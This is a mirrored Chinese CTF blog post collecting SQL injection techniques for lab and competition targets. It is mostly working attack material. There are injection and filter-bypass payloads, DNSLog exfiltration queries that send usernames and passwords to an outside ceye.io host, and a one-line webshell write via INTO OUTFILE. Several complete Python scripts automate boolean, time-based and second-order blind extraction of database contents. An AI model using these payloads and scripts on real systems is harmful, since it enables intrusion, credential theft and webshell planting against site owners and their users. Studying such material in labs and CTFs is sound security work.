2

CTF-Web【SQL注入】漏洞做题姿势积累

 2 years ago
source link: https://fanygit.github.io/2021/11/15/CTF-Web%E3%80%90SQL%E6%B3%A8%E5%85%A5%E3%80%91%E6%BC%8F%E6%B4%9E%E5%81%9A%E9%A2%98%E5%A7%BF%E5%8A%BF%E7%A7%AF%E7%B4%AF/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

本篇文章专门用于记录做反序列化类题目的做题姿势,会不断更新。

判断注入常用的的方式

'     //  报错有可能存在注入
1 or 1=1 # // 正常显示 可能存在注入 意味着还需要进一步注入
1 and 1=1 # // 正常显示 可能存在注入
1 and 1=2 # // 不能显示 存在注入
1 || or 1=1 # //
1 && 1=1 #
1^0 # // 显示异常 则存在注入
1^1 # // 显示正常,可能存在注入

延时注入检测payload

admin' AND (SELECT 4792 FROM (SELECT(SLEEP(5)))Nttm) AND 'fJzs'='fJzs
1 and (select 6583 from (select(sleep(5)))SjTQ)

异或注入语法

1^1^1    // 1
1^0^1 // 0
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0)^1
1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='表名')),1,1))>0)^1
1^(ord(substr((select(group_concat(列名))from(表名)),1,1))>0)^1

报错注入语法

and extractvalue(1, concat(0x7e, (语句)))
and updatexml(1, concat(0x7e, (语句), 0x7e), 1)

0x7e可代替的字符有:’~’ ‘$’

updatexml的concat可以代替的函数有:make_set

update报错注入

select group_concat(password) from (select * from users)b

布尔盲注语法

猜数据库名长度
and (length(database())=%d --+
猜数据库名
and (ord(mid(database(),%d,1))='%s') --+
猜数据库中所有表数量
and %d=(select count(table_name) from information_schema.tables where table_schema=database())--+
猜数据库中单个表长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+
猜数据库单个表名
and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+
猜表中字段数量
and %d=(select count(column_name) from information_schema.columns where table_name='%s' and table_schema=database())--+
猜表中单个字段长度
and (select length(column_name) from information_schema.columns where table_name='%s' and table_schema=database()  limit %d ,1)=%d --+
猜表中单个字段名
and ord(mid((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d --+
猜表中字段名的字段值数量
and (select count(%s) from %s )=%d --+
猜表中字段名的字段值长度
and (select length(%s) from %s limit %d,1)=%d --+
猜表中字段名的字段值
and ord(mid((select %s from %s limit %d,1),%d,1))=%d --+

时间盲注语法

and if(条件语句, sleep(3), 1)
时间盲注函数

sleep()
benchmark()

时间盲注&dnslog的利用

使用DnsLog盲注仅限于windos环境

SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc')))
http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+
http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
' and load_file(concat('\\\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

注意:因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去

' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

参考:https://www.cnblogs.com/xhds/p/12322839.html

dns平台:http://ceye.io/records/dns

无列名注入(只知道表名的情况下查询数据)

子查询绕过
(select `2` from (select 1,2,3 union select * from table_name)a)  //前提是要知道表名
((select c from (select 1,2,3 as c union select * from users)b))    1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量
join爆破列名
?id=-1' union all select * from (select * from users as a join users as b)as c--+//as主要作用是起别名,就是把users表当做a表,常规来说as可以省略
?id=-1' union all select*from (select * from users as a join users as b using(id,username))as c--+
逐字符检索数据

这里的select 1 是对应字段的位置 比如 id username password 1 就对应id 2就对应 username 3就对应 password

mysql> select (select 1,'c') > (select * from users limit 0,1);
+------------------------------------------------------------+
| (select 1,'c') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 0 |
+------------------------------------------------------------+
mysql> select (select 1,'d') > (select * from users limit 0,1);
+------------------------------------------------------------+
| (select 1,'c') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 1 |
+------------------------------------------------------------+
//说明第二个字段的第一位是c,以此类推


mysql> select (select 1,'cm') > (select * from users limit 0,1);
+------------------------------------------------------------+
| (select 1,'c') > (select * from users limit 0,1) |
+------------------------------------------------------------+
| 0 |
+------------------------------------------------------------+

regexp注入

order by 盲注

查看表内容未完全显示的方法

not in 排除的方式显示
table_name='users' and table_schema=database() and column_name not in ("username"))))#&passwd=12
left right 截断的方式显示
select(group_concat(left(password,25)))
select(group_concat(right(password,25)))
正则直接匹配
test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#
reserver逆序输出
test"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#

字符串截取函数

left(str,index) 从左边第index开始截取
right(str,index) 从右边第index开始截取
substring(str,index) 从左边index开始截取
mid(str,index,len) 截取str 从index开始,截取len的长度
lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
ord

sql注入getshell

写入一句话

union select 1,2,'一句话木马' into outfile "绝对路径"
union select 1,@@basedir,@@datadir  查看网站路径
union/**/select 1,load_file("/var/www/html/flag.php"),3,4 %23

等于号被过滤

<>

括号被过滤

空格被过滤,替代方法

%09 TAB键(水平)
%0a 新建一行
%0b TAB键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
%20 空格
()
<>
/**/

可用注释符

--+
#
%23
;%00
,'1

关键字被过滤

编码
双写绕过
大小写绕过
...

ord 被过滤

ascii

preg_match 绕过

绕过addslashes转义

逗号被过滤

' and ascii(substr((select database()),1,1))=xx %23
替换成
' and ascii(substr((select database())from 1 for 1))=xx %23
limit则是 LIMIT M OFFSET N

information_schemab.tables 被过滤

mysql.innodb_table_stats
table_schema 换成 database_name

注意:MySQL5.6以上才有 sys 库

sys.x$schema_table_statistics(只能查表名,查不到列名)
表名:table_name 数据库:table_schema
sys.schema_auto_increment_columns(可获取表名和库名)
表名:table_name 数据库:table_schema
sys.schema_table_statistics_with_buffer(可获取表名)
表名:table_name 数据库:table_schema

特殊知识点的解决方法

$sql="SELECT username,password FROM admin WHERE username='".$username."'";if (!empty($row) && $row['password']===md5($password)){
}
username=admin' union select 1,md5(123)#&password=123

二次注入的payload

[网鼎杯2018]Unfinish

0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0

异或盲注脚本

import requests

url='http://bdeb176a-4425-4fe9-997e-02afb5312134.node3.buuoj.cn/index.php'
flag=''

for i in range(50):
a = 32
b = 128
mid = (a+b)//2
while(a<b):

#stunum=0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0) 爆表名

#stunum=0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flag')),1,1))>0) 爆列名
print(mid)
payload = url+"?stunum=0^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)"%(i,mid)
import time
time.sleep(1)
re = requests.get(url=payload)
# 首先判断目标值 是否小于
if 'admin' in re.text:
a = mid + 1
else:
# 目标值 大于 则直接 将 mid 赋值给 b
b = mid
mid = (a+b)//2
# 这个二分查找的方式是 完整的走完一遍,也就是跑7次
if (mid==32|mid==128):
break

flag +=chr(mid)
print(flag)

[网鼎杯2018]Unfinish 拿flag脚本

import requests

login_url='http://bd22f3b3-0647-4006-bfca-e63aaad5a97d.node4.buuoj.cn:81/login.php'
register_url='http://bd22f3b3-0647-4006-bfca-e63aaad5a97d.node4.buuoj.cn:81/register.php'
content=''
for i in range(1,20):
data_register={'email':'15@%d'%i,'username':"0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%i,'password':'1'}
#print(data)
data_login={'email':'15@%d'%i,'password':'1'}
res = requests.post(register_url,data=data_register)
print(res)

rr=requests.post(login_url,data=data_login)
rr.encoding='utf-8'
r=rr.text
location=r.find('user-name')
cont=r[location+17:location+42].strip()
content+=cont
print(cont)
#content=content.decode('hex').decode('hex')
print(content)

自己写的脚本(用于dvwa和sqllib靶场)

import requests
# 功能:基于回显的布尔盲注脚本
# 适用于sqlilabs DVWA
# 根据 key 的内容判断
class exp_sql(object):
def __init__(self, key, params=None,headers=None):
# 判断回显的关键字
self.str_key = key
# 头部
self.headers = headers
# 参数
self.params = params

def get_dbname(self, url): # 拿到当前数据库名
# payload = "' and (length(database())=8) --+"
length = 1
while True:
payload = "' and (length(database())=%d) --+"%(length)
payload_url = url+payload
# print("[*] "+payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
# print(resp.text)
if self.str_key in resp.text:
print("[+] length: " + str(length))
db_name = self.exp_dbname(url, length)
break
length+=1

print("[+] 当前数据库名: " + db_name)

def exp_dbname(self, url, length): # 爆破数据库名
arr_str = self.ascii_str()
db_name = ""
# ord 返回字符串第一个字符的 ASCII 值。
# mid 得到一个字符串的一部分
for i in range(1, length+1):
for j in arr_str:
payload = "' and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))
payload_url = url + payload
# print("[*] " + payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
# print("[+] " + j)
break
db_name += j
print("[*]" + db_name)

return db_name

def get_tables(self, url): # 拿到当前数据库所有表名数量
# ' and 4=(select count(table_name) from information_schema.tables where table_schema=database())--+
num = 0
while True:
payload = "' and %d=(select count(table_name) from information_schema.tables where table_schema=database())--+"%(num)
payload_url = url + payload
# print("[*] " + payload_url)
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
# print(resp.text)
if self.str_key in resp.text:
print("当前数据库表总数量:"+str(num))
tables = self.get_table_length(url, num)
break

num += 1
print("[+] 当前数据库所有表: " + str(tables))

def get_table_length(self, url, num): # 判断单个表名长度
tables = []
# ' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)
for i in range(0, num):
length = 1
while True:
# 判断表长度
payload = "' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i, length)
payload_url = url+ payload
# print("[*] " + payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
print("[+] 表名长度 " + str(length))
# 由长度 猜解表名
table_name = self.get_table_name(url, i, length)
print("[+] 第"+str(i+1)+ "张表名:" + table_name)
tables.append(table_name)
break
length += 1

return tables

def get_table_name(self, url, count,length): # 猜解表名
arr_str = self.ascii_str()
table_name = ""
# ' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+
for i in range(1, length+1):
for s in arr_str:
payload = "' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(count, i, ord(s))
payload_url = url+ payload
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
# print("[*] " + s)
break

table_name += s
print("[*] " + table_name)

return table_name

def get_columns(self, url, tables): # 拿到传入的表中所有字段名
table_dict = {}
for table in tables:
num = 0
while True:
payload = "'and %d=(select count(column_name) from information_schema.columns where table_name='%s' and table_schema=database())--+"%(num, table)
payload_url = url + payload
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
print('[+] 总字段数 num: ' + str(num))
columns = self.get_column_length(url, num, table)
break
num += 1
table_dict[table] = columns

print("[+] {表名: [字段名..]} " + str(table_dict))

def get_column_length(self, url, num, table): # 判断单个字段长度
columns = []
# 'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d ,1)=%d --+
for i in range(0, num):
length = 1
while True:
payload = "'and (select length(column_name) from information_schema.columns where table_name='%s' and table_schema=database() limit %d ,1)=%d --+"%(table, i, length)
payload_url = url + payload
resp = requests.get(payload_url, headers=self.headers, params=self.params)
# print(payload)
if self.str_key in resp.text:
print("[+] length: " + str(length))
column_name = self.get_column_name(url, i, table, length)
print("[+] " + column_name)
columns.append(column_name)
break
length += 1
return columns

def get_column_name(self, url, num, table, length): # 拿到单个字段名
str_arr = self.ascii_str()
column_name = ""
# 'and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+
for i in range(1, length+1):
for s in str_arr:
payload = "'and ord(mid((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d --+"%(table, num, i, ord(s))
payload_url = url + payload
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
# print("[+] " + s)
column_name += s
break
print("[*] " + column_name)

return column_name

def get_columns_value(self, url, table, columns): # 拿到传入字段的所有字段值
column_dict = {}
# 'and (select count('username') from users )=13 --+
for column in columns:
num = 0
while True:
payload = "'and (select count(%s) from %s )=%d --+"%(column, table, num)
payload_url = url + payload
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
print("[+] num " + str(num))
columns_value = self.get_column_value_length(url, table, column, num)
column_dict[column] = columns_value
break
num += 1

print("[+] {字段名1: {字段值1..}, 字段名2: {字段值1..}} \n" + str(column_dict))

def get_column_value_length(self, url, table, column, num): # 拿到当前传入字段值长度
columns_value = []
# 'and (select length(%s) from %s limit %d,1)=%d --+
for i in range(0, num):
length = 1
while True:
payload = "'and (select length(%s) from %s limit %d,1)=%d --+"%(column, table, i, length)
payload_url = url + payload
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
# print("[+] num " + str(i) + " length " + str(length))
column_value = self.exp_column_value(url, table, column, i, length)
print("[+] " + column_value)
columns_value.append(column_value)
break
length += 1
return columns_value

def exp_column_value(self, url, table, column, num, length): # 拿到单个字段值

arr_str = self.ascii_str()
column_value = ""
# 'and ord(mid((select count(username) from users limit 0,1) 0,1))=%s
for i in range(1, length+1):
for s in arr_str:
payload = "'and ord(mid((select %s from %s limit %d,1),%d,1))=%d --+"%(column, table, num, i, ord(s))
payload_url = url + payload
# print(payload)
resp = requests.get(payload_url, headers=self.headers, params=self.params)
if self.str_key in resp.text:
# print("[+] " + s)
column_value += s

break
print("[*] " + column_value)
return column_value

def ascii_str(self): #生成库名表名字符所在的字符列表字典
str_list=[]
for i in range(33,127):#所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list #返回字符列表

if __name__ == "__main__":
# sqli less-5
s1 = exp_sql(key="You are in")
# s1.get_dbname(url="http://127.0.0.1:9002/Less-5/?id=1")
# s1.get_tables(url="http://127.0.0.1:9002/Less-5/?id=1")
# s1.get_columns(url="http://127.0.0.1:9002/Less-5/?id=1", tables=['users'])
s1.get_columns_value(url="http://127.0.0.1:9002/Less-8/?id=1", table='users', columns=['username', 'password'])


# DVWA 盲注
# key = "exists"
# headers = {"Cookie": "sitekeyword=%26nbsp%3B; PHPSESSID=405e9e837c04dfda1cae39e51c85e316; security=low",
# "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"}
# params = {"Submit": "Submit"}


# s2 = exp_sql(key=key, headers=headers, params=params)
# # # s2.get_dbname(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1")
# # # s2.get_tables(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1")
# # s2.get_columns(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1", tables=['guestbook'])
# s2.get_columns_value(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1", table='users', columns=['user', 'password'])
import requests
import datetime
# 功能:基于回显的布尔盲注脚本
# 适用于sqlilabs DVWA
class exp_sql(object):
def __init__(self, sec=3, params=None,headers=None):
# 暂停秒数 低于3秒 返回结果可能不准确
self.sec = sec
# 头部
self.headers = headers
# 参数
self.params = params

def get_dbname(self, url): # 拿到当前数据库名
# 'and if(left(database(),1)='%s' , sleep(3), 1) --+
length = 1
while True:
payload = "'and if(length(database())=%d, sleep(%d), 1) --+"%(length, self.sec)
payload_url = url+payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print("[+] length: " + str(length))
db_name = self.exp_dbname(url, length)
break
length+=1

print("[+] 当前数据库名: " + db_name)

def exp_dbname(self, url, length): # 爆破数据库名
# ' and if(substr(database(), %d, 1)='%s' , sleep(3), 1) --+
arr_str = self.ascii_str()
db_name = ""
# ord 返回字符串第一个字符的 ASCII 值。
# mid 得到一个字符串的一部分
for i in range(1, length+1):
for j in arr_str:
payload = "' and if(substr(database(), %d, 1)='%s' , sleep(%d), 1) --+"%(i, j, self.sec)
payload_url = url + payload
# print("[*] " + payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
# print("[+] " + j)
break
db_name += j
print("[*]" + db_name)

return db_name

def get_tables(self, url): # 拿到当前数据库所有表名
# 'and if( (select count(table_name) from information_schema.tables where table_schema=database())=%d, sleep(3), 1) --+"%(num)
num = 0
while True:
payload = "'and if((select count(table_name) from information_schema.tables where table_schema=database())=%d, sleep(%d), 1) --+"%(num, self.sec)
payload_url = url + payload
# print("[*] " + payload_url)
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print("当前数据库表总数量:"+str(num))
tables = self.get_table_length(url, num)
break

num += 1
print("[+] 当前数据库所有表: " + str(tables))

def get_table_length(self, url, num): # 判断单个表名长度
tables = []
# 'and if( (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d, sleep(%d), 1) --+
for i in range(0, num):
length = 1
while True:
# 判断表长度
payload = "'and if( (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d, sleep(%d), 1) --+"%(i, length, self.sec)
payload_url = url+ payload
# print("[*] " + payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print("[+] 表名长度 " + str(length))
# 由长度 猜解表名
table_name = self.get_table_name(url, i, length)
print("[+] 第"+str(i+1)+ "张表名:" + table_name)
tables.append(table_name)
break
length += 1

return tables

def get_table_name(self, url, count,length): # 猜解表名
arr_str = self.ascii_str()
table_name = ""
# 'and if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1), %d,1))=%s, sleep(3), 1) --+"%(count, i, ord(s))
for i in range(1, length+1):
for s in arr_str:
payload = "'and if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1), %d,1))=%s, sleep(%d), 1) --+"%(count, i, ord(s), self.sec)
payload_url = url+ payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
# print("[*] " + s)
table_name += s
break

print("[*] " + table_name)

return table_name

def get_columns(self, url, tables): # 拿到传入的表中所有字段名
# 'and if((select count(column_name) from information_schema.columns where table_name='%s' and table_schema=database())=%d, sleep(3), 1)--+"%(table, num)
table_dict = {}
for table in tables:
num = 0
while True:
payload = "'and if((select count(column_name) from information_schema.columns where table_name='%s' and table_schema=database())=%d, sleep(%d), 1)--+"%(table, num, self.sec)
payload_url = url + payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print('[+] 总字段数 num: ' + str(num))
columns = self.get_column_length(url, num, table)
break
num += 1
table_dict[table] = columns

print("[+] {表名: [字段名..]} " + str(table_dict))

def get_column_length(self, url, num, table): # 判断单个字段长度
columns = []
# 'and if((select length(column_name) from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)=%d , sleep(3), 1) --+"%(table, i, length)
for i in range(0, num):
length = 1
while True:
payload = "'and if((select length(column_name) from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)=%d , sleep(%d), 1) --+"%(table, i, length, self.sec)
payload_url = url + payload
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print("[+] length: " + str(length))
column_name = self.get_column_name(url, i, table, length)
print("[+] " + column_name)
columns.append(column_name)
break
length += 1
return columns

def get_column_name(self, url, num, table, length): # 拿到单个字段名
str_arr = self.ascii_str()
column_name = ""
# 'and if(ord(mid((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1), %d,1))=%d , sleep(3), 1) --+"%(table, num, i, ord(s))
for i in range(1, length+1):
for s in str_arr:
payload = "'and if(ord(mid((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1), %d,1))=%d , sleep(%d), 1) --+"%(table, num, i, ord(s), self.sec)
payload_url = url + payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
# print("[+] " + s)
column_name += s
break
print("[*] " + column_name)

return column_name

def get_columns_value(self, url, table, columns): # 拿到传入字段的所有字段值
column_dict = {}
# 'and if((select count(%s) from %s)=%d, sleep(3), 1) --+"%(column, table, num)
for column in columns:
num = 0
while True:
payload = "'and if((select count(%s) from %s)=%d, sleep(%d), 1) --+"%(column, table, num, self.sec)
payload_url = url + payload
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
print("[+] num " + str(num))
columns_value = self.get_column_value_length(url, table, column, num)
column_dict[column] = columns_value
break
num += 1

print("[+] {字段名1: {字段值1..}, 字段名2: {字段值1..}} \n" + str(column_dict))

def get_column_value_length(self, url, table, column, num): # 拿到当前传入字段值长度
columns_value = []
# 'and (select length(%s) from %s limit %d,1)=%d --+
for i in range(0, num):
length = 1
while True:
payload = "'and if((select length(%s) from %s limit %d,1)=%d, sleep(%d), 1) --+"%(column, table, i, length, self.sec)
payload_url = url + payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
# print("[+] num " + str(i) + " length " + str(length))
column_value = self.exp_column_value(url, table, column, i, length)
print("[+] " + column_value)
columns_value.append(column_value)
break
length += 1
return columns_value

def exp_column_value(self, url, table, column, num, length): # 拿到单个字段值

arr_str = self.ascii_str()
column_value = ""
# 'and if(ord(mid((select %s from %s limit %d,1), %d,1))=%d, sleep(3), 1) --+"%(column, table, num, i, ord(s))
for i in range(1, length+1):
for s in arr_str:
payload = "'and if(ord(mid((select %s from %s limit %d,1), %d,1))=%d, sleep(%d), 1) --+"%(column, table, num, i, ord(s), self.sec)
payload_url = url + payload
# print(payload)
startTime = datetime.datetime.now()
resp = requests.get(payload_url, headers=self.headers, params=self.params)
endTime = datetime.datetime.now()
if (endTime - startTime).seconds >=self.sec:
# print("[+] " + s)
column_value += s

break
print("[*] " + column_value)
return column_value

def ascii_str(self): #生成库名表名字符所在的字符列表字典
str_list=[]
for i in range(33,127):#所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list #返回字符列表

if __name__ == "__main__":
# sqli less-5
# s1 = exp_sql()
# s1.get_dbname(url="http://127.0.0.1:9002/Less-9/?id=1")
# s1.get_tables(url="http://127.0.0.1:9002/Less-9/?id=1")
# s1.get_columns(url="http://127.0.0.1:9002/Less-9/?id=1", tables=['users'])
# s1.get_columns_value(url="http://127.0.0.1:9002/Less-9/?id=1", table='users', columns=['username', 'password'])


# DVWA 盲注
headers = {"Cookie": "sitekeyword=%26nbsp%3B; PHPSESSID=dee9efccd127ae9b659726416910bbaf; security=low",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"}
params = {"Submit": "Submit"}


# s2 = exp_sql(headers=headers, params=params)
# s2.get_dbname(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1")
# s2.get_tables(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1")
# # s2.get_columns(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1", tables=['guestbook'])
# s2.get_columns_value(url="http://127.0.0.1:9000/vulnerabilities/sqli_blind/?id=1", table='users', columns=['user', 'password'])

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK